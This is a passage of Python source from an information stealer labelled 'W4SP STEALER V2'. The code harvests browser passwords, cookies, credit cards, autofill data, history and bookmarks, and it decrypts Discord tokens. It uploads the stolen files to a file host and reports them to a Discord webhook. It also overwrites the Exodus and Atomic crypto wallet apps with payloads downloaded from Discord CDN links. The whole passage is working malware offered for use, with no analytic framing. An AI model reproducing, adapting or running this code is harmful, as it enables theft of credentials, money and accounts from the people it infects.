pathC = path + arg + "Bookmarks"
if os.path.exists(pathC):
with open(pathC, 'r', encoding='utf8') as f:
data = loads(f.read())
for i in data['roots']['bookmark_bar']['children']:
try:
Bookmarks.append(f"N4M3: {i['name']} | UR1: {i['url']}")
BookmarksCount += 1
except:pass
if os.stat(pathC).st_size == 0: return
writeforfile(Bookmarks, 'bookmarks')
except:pass
def parseCookies():
try:
tmpCookies = []
for cookie in Cookies:
try:
key = cookie.split(' | ')[0].split(': ')[1]
name = cookie.split(' | ')[1].split(': ')[1]
value = cookie.split(' | ')[2].split(': ')[1]
tmpCookies.append(f"{key}\tTRUE\t/\tFALSE\t2597573456\t{name}\t{value}")
except: pass
writeforfile(tmpCookies, 'parsedcookies')
except:pass
def startBthread(func, arg):
global Browserthread
t = threading.Thread(target=func, args=arg)
t.start()
Browserthread.append(t)
def getBrowsers(browserPaths):
global Browserthread
FirefoxCookie()
ThCokk, Browserthread, filess = [], [], []
for patt in browserPaths:
a = threading.Thread(target=getCookie, args=[patt[0], patt[4]])
a.start()
ThCokk.append(a)
startBthread(getAutofill, [patt[0], patt[3]])
startBthread(getHistory, [patt[0], patt[3]])
startBthread(getBookmarks, [patt[0], patt[3]])
startBthread(getCCs, [patt[0], patt[3]])
startBthread(getPassw, [patt[0], patt[3]])
for thread in ThCokk: thread.join()
if Trust(Cookies) == True: __import__('sys').exit(0)
parseCookies()
for thread in Browserthread: thread.join()
for file in ["wppasswords.txt", "wpcookies.txt", "wpcreditcards.txt", "wpautofill.txt", "wphistory.txt", "wpparsedcookies.txt", "wpbookmarks.txt"]:
filess.append(uploadToAnonfiles(os.getenv("TEMP") + "\\" + file))
headers = {"Content-Type": "application/json","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"}
data = {
"content": GLINFO,
"embeds": [
{
"title": "W4SP | Password Stealer",
"description": f"**Found**:\n{getwebsites(paswWords)}\n\n**Data:**\n:key: • **{PasswCount}** Passwords Found\n:link: • [Passwords.txt]({filess[0]})",
"color": 14406413,
"footer": {"text": "@W4SP STEALER V2", "icon_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png"}
},
{
"title": "W4SP | Cookies Stealer",
"description": f"**Found**:\n{getwebsites(cookiWords)}\n\n**Data:**\n:cookie: • **{CookiCount}** Cookies Found\n:link: • [Cookies.txt]({filess[1]})\n:link: • [Parsed.txt]({filess[5]})",
"color": 14406413,
"footer": {"text": "@W4SP STEALER V2", "icon_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png"}
},
{
"title": "W4SP | Other",
"description": f":newspaper: • **{HistoryCount}** Websites Found\n:link: • [history.txt]({filess[4]})\n\n:shield: • **{AutofillCount}** Infos Found\n:link: • [autofill.txt]({filess[3]})\n\n:blue_book: • **{BookmarksCount}** Bookmarks found\n:link: • [bookmarks.txt]({filess[6]})\n\n:credit_card: • **{CCsCount}** Creditcards Found\n:link: • [creditcards.txt]({filess[2]})",
"color": 14406413,
"footer": {"text": "@W4SP STEALER V2", "icon_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png"}
}
],
"attachments": []
}
LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
getaccountsinfo()
return
def ExodusInjection(path, procc, exolink):
if not os.path.exists(path): return
listOfFile = os.listdir(path)
apps = []
for file in listOfFile:
if "app-" in file:
apps += [file]
try:
randomexodusfile = f"{path}/{apps[0]}/LICENSE"
with open(randomexodusfile, 'r+') as IsAlradyInjected:
check = IsAlradyInjected.read()
if "gofile" in str(check): # already injected
return
except: pass
exodusPatchURL = "https://cdn.discordapp.com/attachments/1135684724585681039/1143224080603037827/app.asar"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
req = Request(exodusPatchURL, headers=headers)
response = urlopen(req)
global hook
# format: 00000000000/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXX
khook = f'{hook.split("webhooks/")[1]}:{exolink}'
# encryptedhook = binascii.hexlify(bytes(hook, "utf8")).decode("utf8", "ignore")
data = response.read()
subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
for app in apps:
try:
fullpath = f"{path}/{app}/resources/app.asar"
licpath = f"{path}/{app}/LICENSE"
with open(fullpath, 'wb') as out_file1:
out_file1.write(data)
with open(licpath, 'w') as out_file2:
out_file2.write(khook)
except: pass
def AtomicInjection(path, procc, atolink):
if not os.path.exists(path): return
try:
randomexodusfile = f"{path}/LICENSE.electron.txt"
with open(randomexodusfile, 'r+') as IsAlradyInjected:
check = IsAlradyInjected.read()
if "gofile" in str(check): # already injected
return
except: pass
exodusPatchURL = "https://cdn.discordapp.com/attachments/1086668425797058691/1113770559688413245/app.asar"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
req = Request(exodusPatchURL, headers=headers)
response = urlopen(req)
global hook
# format: 00000000000/XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXX
khook = f'{hook.split("webhooks/")[1]}:{atolink}'
# encryptedhook = binascii.hexlify(bytes(hook, "utf8")).decode("utf8", "ignore")
data = response.read()
subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
#for app in apps:
try:
fullpath = f"{path}/resources/app.asar"
licpath = f"{path}/LICENSE.electron.txt"
with open(fullpath, 'wb') as out_file1:
out_file1.write(data)
with open(licpath, 'w') as out_file2:
out_file2.write(khook)
except: pass
def GetDiscord(path, arg):
if not os.path.exists(f"{path}/Local State"): return
pathC = path + arg
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for file in os.listdir(pathC):
if file.endswith(".log") or file.endswith(".ldb") :
for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]:
for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line):
global Tokens
tokenDecoded = DecryptValue(b64decode(token.split('dQw4w9WgXcQ:')[1]), master_key)
if checkToken(tokenDecoded):
if not tokenDecoded in Tokens:
Tokens += tokenDecoded
# writeforfile(Tokens, 'tokens')